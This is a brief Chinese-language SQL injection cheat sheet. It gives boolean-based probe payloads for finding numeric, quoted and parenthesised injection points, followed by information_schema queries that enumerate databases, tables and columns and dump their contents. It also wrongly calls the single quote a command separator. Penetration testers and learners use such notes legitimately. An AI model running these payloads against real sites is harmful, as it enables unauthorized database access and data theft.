## **測試注入點是否存在** **1、id = 1 異常** ``` id = 1 and 1 =1 -- + 正確 id = 1 and 1=2 -- + 錯誤 ``` 結論：極有可能存在數字型SQL注入 ps:單引號有個特殊的作用：命令分隔符 **2、id = 1' 異常** ``` id = 1' and 1 =1 -- + 正確 id = 1' and 1=2 -- + 錯誤 ``` 結論：極有可能存在單引號字符型SQL注入 **3、id = 1" 異常** ``` id = 1" and 1 =1 -- + 正確 id = 1" and 1=2 -- + 錯誤 ``` 結論：極有可能存在雙引號字符型SQL注入 **4、id = 1) 異常** ``` id = 1) and 1 =1 -- + 正確 id = 1) and 1=2 -- + 錯誤 ``` 結論：極有可能存在括號數字型SQL注入 ## **猜數據庫** ``` select schema_name from information_schema.schemata ``` ## **猜某庫的數據表** ``` select table_name from information_schema.tables where table_schema=’xxxxx’ ``` ## **猜某表的所有列** ``` Select column_name from information_schema.columns where table_name=’xxxxx’ ``` ## **獲取某列的內容** ``` Select *** from **** ```